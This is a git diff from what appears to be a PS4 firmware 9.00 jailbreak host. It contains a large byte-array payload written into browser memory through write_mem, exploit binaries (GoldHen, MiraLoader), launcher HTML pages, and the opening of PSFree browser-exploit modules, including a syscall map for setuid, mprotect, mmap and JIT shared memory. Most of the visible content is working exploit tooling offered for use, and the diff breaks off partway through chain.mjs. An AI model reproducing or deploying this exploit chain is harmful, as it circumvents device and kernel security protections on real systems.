0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,83,99,101,83,121,115,67,111,114,101,82,101,98,111,111,116,0,0,0,0,0,0,0,47,115,121,115,116,101,109,47,99,111,109,109,111,110,47,108,105,98,47,108,105,98,83,99,101,83,121,115,85,116,105,108,46,115,112,114,120,0,0,0,115,99,101,83,121,115,85,116,105,108,83,101,110,100,83,121,115,116,101,109,78,111,116,105,102,105,99,97,116,105,111,110,87,105,116,104,84,101,120,116,0,67,111,109,112,105,108,101,100,32,98,121,32,64,78,97,122,107,121,89,84,0,47,109,110,116,47,117,115,98,48,47,98,122,73,109,97,103,101,0,47,109,110,116,47,117,115,98,49,47,98,122,73,109,97,103,101,0,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,98,122,73,109,97,103,101,0,0,0,0,0,70,97,105,108,101,100,32,116,111,32,108,111,97,100,32,102,105,108,101,58,32,98,122,73,109,97,103,101,46,10,80,97,116,104,115,32,99,104,101,99,107,101,100,58,10,47,109,110,116,47,117,115,98,48,47,98,122,73,109,97,103,101,10,47,109,110,116,47,117,115,98,49,47,98,122,73,109,97,103,101,10,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,98,122,73,109,97,103,101,0,47,109,110,116,47,117,115,98,48,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,0,47,109,110,116,47,117,115,98,49,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,0,0,0,0,0,0,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,0,0,0,0,0,70,97,105,108,101,100,32,116,111,32,108,111,97,100,32,102,105,108,101,58,32,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,46,10,80,97,116,104,115,32,99,104,101,99,107,101,100,58,10,47,109,110,116,47,117,115,98,48,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,10,47,109,110,116,47,117,115,98,49,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,10,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,0,47,109,110,116,47,117,115,98,48,47,98,111,111,116,97,114,103,115,46,116,120,116,0,47,109,110,116,47,117,115,98,49,47,98,111,111,116,97,114,103,115,46,116,120,116,0,0,0,0,0,0,0,0,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,98,111,111,116,97,114,103,115,46,116,120,116,0,0,70,97,105,108,101,100,32,116,111,32,108,111,97,100,32,102,105,108,101,58,32,98,111,111,116,97,114,103,115,46,116,120,116,46,10,80,97,116,104,115,32,99,104,101,99,107,101,100,58,10,47,109,110,116,47,117,115,98,48,47,98,111,111,116,97,114,103,115,46,116,120,116,10,47,109,110,116,47,117,115,98,49,47,98,111,111,116,97,114,103,115,46,116,120,116,10,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,98,111,111,116,97,114,103,115,46,116,120,116,0,98,111,111,116,97,114,103,115,46,116,120,116,32,105,115,32,111,112,116,105,111,110,97,108,46,0,0,0,0,0,0,0,0,112,97,110,105,99,61,48,32,99,108,111,99,107,115,111,117,114,99,101,61,116,115,99,32,114,97,100,101,111,110,46,100,112,109,61,48,32,99,111,110,115,111,108,101,61,116,116,121,48,32,99,111,110,115,111,108,101,61,116,116,121,83,48,44,49,49,53,50,48,48,110,56,32,99,111,110,115,111,108,101,61,117,97,114,116,56,50,53,48,44,109,109,105,111,51,50,44,48,120,100,48,51,52,48,48,48,48,32,118,105,100,101,111,61,72,68,77,73,45,65,45,49,58,49,57,50,48,120,49,48,56,48,45,50,52,64,54,48,32,99,111,110,115,111,108,101,98,108,97,110,107,61,48,32,110,101,116,46,105,102,110,97,109,101,115,61,48,32,100,114,109,46,100,101,98,117,103,61,48,0,47,109,110,116,47,117,115,98,48,47,118,114,97,109,46,116,120,116,0,47,109,110,116,47,117,115,98,49,47,118,114,97,109,46,116,120,116,0,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,118,114,97,109,46,116,120,116,0,0,0,0,70,97,105,108,101,100,32,116,111,32,108,111,97,100,32,102,105,108,101,58,32,118,114,97,109,46,116,120,116,46,10,80,97,116,104,115,32,99,104,101,99,107,101,100,58,10,47,109,110,116,47,117,115,98,48,47,118,114,97,109,46,116,120,116,10,47,109,110,116,47,117,115,98,49,47,118,114,97,109,46,116,120,116,10,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,118,114,97,109,46,116,120,116,0,118,114,97,109,46,116,120,116,32,105,115,32,111,112,116,105,111,110,97,108,46,0]; - -window.mira_blob_2_len = 0x54a5; -window.mira_blob_2 = malloc(window.mira_blob_2_len); -write_mem(window.mira_blob_2, payload); diff --git a/900N/MiraLoader.bin b/900N/MiraLoader.bin index e6d66bf..72e50a7 100644 Binary files a/900N/MiraLoader.bin and b/900N/MiraLoader.bin differ diff --git a/900N/Oysters1.00.bin b/900N/Oysters1.00.bin index d494869..a658cea 100644 Binary files a/900N/Oysters1.00.bin and b/900N/Oysters1.00.bin differ diff --git a/900N/Oysters1.13.bin b/900N/Oysters1.13.bin index f6344d5..5d14a71 100644 Binary files a/900N/Oysters1.13.bin and b/900N/Oysters1.13.bin differ diff --git a/900N/Oysters1.19.bin b/900N/Oysters1.19.bin index 7c97b94..563eab1 100644 Binary files a/900N/Oysters1.19.bin and b/900N/Oysters1.19.bin differ diff --git a/900N/Oysters1.24.bin b/900N/Oysters1.24.bin index 96b06e8..9ec99c1 100644 Binary files a/900N/Oysters1.24.bin and b/900N/Oysters1.24.bin differ diff --git a/900N/Oysters1.29.bin b/900N/Oysters1.29.bin index 45edb2a..3daa7ac 100644 Binary files a/900N/Oysters1.29.bin and b/900N/Oysters1.29.bin differ diff --git a/900N/gamedumper.bin b/900N/gamedumper.bin deleted file mode 100644 index 9bb2243..0000000 Binary files a/900N/gamedumper.bin and /dev/null differ diff --git a/900N/goldhen2b2.bin b/900N/goldhen2b2.bin new file mode 100644 index 0000000..5e1e34c Binary files /dev/null and b/900N/goldhen2b2.bin differ diff --git a/900N/index.html b/900N/index.html index 20790a5..89ff19b 100644 --- a/900N/index.html +++ b/900N/index.html @@ -2,11 +2,13 @@ - - -Karo Host Auto Exploit GoldHen V2.2.2 900fw - - - -

Karo Host Auto Exploit GoldHen V2.2.2 900fw

-

Jailbreaking....Please wait

-
-
-
Designed, Compiled by :   Karo Sharifi -



Edit By :   laz305 -
-
- - - - diff --git a/binloader/505/exploit.css b/binloader/505/exploit.css new file mode 100644 index 0000000..283d66e --- /dev/null +++ b/binloader/505/exploit.css @@ -0,0 +1,107 @@ +@font-face { + font-family: 'Spartan'; + src: URL('../css/Spartan.otf') format('truetype'); +} + +html, body { +background-color: #1A1920; +margin: auto; +height: 100%; +overflow: hidden; +font-family: sans-serif; +font-size: 20px; +font-weight: bold; +text-align: center; +} + +/* ALL L O A D I N G Text */ + .loader { + position: absolute; + left: 52%; + top: 40%; + margin: -75px 0 0 -75px; + + border: 10px solid #f3f3f3; + border-radius: 50%; + border-top: 10px solid #044595; + border-left: 10px solid #044595; + width: 80px; + height: 80px; + + -webkit-animation: spin 1s linear infinite; + } + +.ib2{ +margin:auto; +display:inline-block; +vertical-align:middle; +height:19px; +line-height:16px; +font-size:1.3em; +color: white; +font-family: Spartan; +} + +.info { +width: 795px; +height: 40px; +position: absolute; +left: 0px; +right: 0px; +top: 40%; +bottom: 0px; +margin: auto; +max-width: 100%; +max-height: 100%; +overflow: hidden; +font-size:1.3em; +color: white; +border:0px solid red; +margin-top: 2em; +font-family: Spartan; +} + +.done { +width: 795px; +height: 55px; +position: absolute; +left: 0px; +right: 0px; +top: 40%; +bottom: 0px; +margin: auto; +max-width: 100%; +max-height: 100%; +overflow: hidden; +line-height:24px; +font-size:1em; +color: white; +border:0px solid yellow; +margin-top: 1em; +font-family: Spartan; +} + +.ib{ +margin:auto; +display:inline-block; +padding:4px 2px 0px 0px; +vertical-align:middle; +height:30px; +line-height:25px; +font-size:1em; +color: white; +border:0px solid red; +font-family: Spartan; +} + +#PSBUTTON{ +margin:auto; +display:inline-block; +vertical-align:middle; +background:url(data:image/png;base64,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) no-repeat center center; +height:30px; +width:30px; +margin-right: 6px; +border:0px solid red; +font-family: Spartan; +} diff --git a/index.html b/index.html index 30ca88a..85e34dc 100644 --- a/index.html +++ b/index.html @@ -16,7 +16,7 @@ border: 2px solid black; border-radius: 10px; width: 170px; - height: 40px; + height: 43px; text-align: center; padding: 6px; margin: 6px; @@ -53,7 +53,7 @@ text-align:center; border-radius:30px; padding:20px; - line-height:35px; + line-height:40px; } .title { font-size:40px; @@ -150,7 +150,7 @@ Year=dt.getFullYear(); if (Minute < 10) { Minute = "0" + Minute; }; if (Hour < 10) { Hour = "0" + Hour; }; -document.getElementById("date").innerHTML = (Month+"/"+Day+"/"+Year); +document.getElementById("date").innerHTML = (Day+"/"+Month+"/"+Year); document.getElementById("clock").innerHTML = (Hour+":"+Minute); } @@ -160,21 +160,26 @@

Karo Host For PS4 900

-

LAZARUS

+

LAZ305

- - - - - -
- - -
- -
-
+ + +
+ + + + + +
+
+ + +

diff --git a/restore/1.jpg b/restore/1.jpg deleted file mode 100644 index a48fa94..0000000 Binary files a/restore/1.jpg and /dev/null differ diff --git a/restore/900C/restore900.bin b/restore/900C/restore900.bin new file mode 100644 index 0000000..6baa5d7 Binary files /dev/null and b/restore/900C/restore900.bin differ diff --git a/restore/900CM/restore900.bin b/restore/900CM/restore900.bin new file mode 100644 index 0000000..6baa5d7 Binary files /dev/null and b/restore/900CM/restore900.bin differ diff --git a/restore/900L/alert.mjs b/restore/900L/alert.mjs new file mode 100644 index 0000000..d15fcc6 --- /dev/null +++ b/restore/900L/alert.mjs @@ -0,0 +1,40 @@ +/* Copyright (C) 2023-2024 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// We can't just open a console on the ps4 browser, make sure the errors thrown +// by our modules are alerted. We use alert() instead of debug_log() because +// while we are developing, we may modify the utils.mjs module and introduce +// bugs. We can not use debug_log() if it throws an error. +// +// We added this new file instead of putting this on run.mjs, so we can ensure +// we can attach this listener first before running anything. +addEventListener('unhandledrejection', (event) => { + const reason = event.reason; + // We log the line and column numbers as well since some exceptions (like + // SyntaxError) do not show it in the stack trace. + alert( + `${reason}\n` + + `${reason.sourceURL}:${reason.line}:${reason.column}\n` + + `${reason.stack}` + ); + throw reason; +}) +function debug_log(msg) { + document.getElementById("progress").innerHTML=msg; +} +// important that we dynamically import the exploit script after we attach +import('./exploit.mjs'); diff --git a/restore/900L/chain.mjs b/restore/900L/chain.mjs new file mode 100644 index 0000000..794371a --- /dev/null +++ b/restore/900L/chain.mjs @@ -0,0 +1,206 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +import { Int } from './int64.mjs'; +import { get_view_vector } from './memtools.mjs'; +import { Addr, mem } from './mem.mjs'; + +import { + read64, + write64, +} from './rw.mjs'; + +import * as o from './offset.mjs'; + +// put the sycall names that you want to use here +export const syscall_map = new Map(Object.entries({ + 'close': 6, + 'setuid' : 23, + 'getuid' : 24, + 'mprotect': 74, + 'socket' : 97, + 'fchmod' : 124, + 'mlock' : 203, + 'kqueue' : 362, + 'kevent' : 363, + 'mmap' : 477, + // for JIT shared memory + 'jitshm_create' : 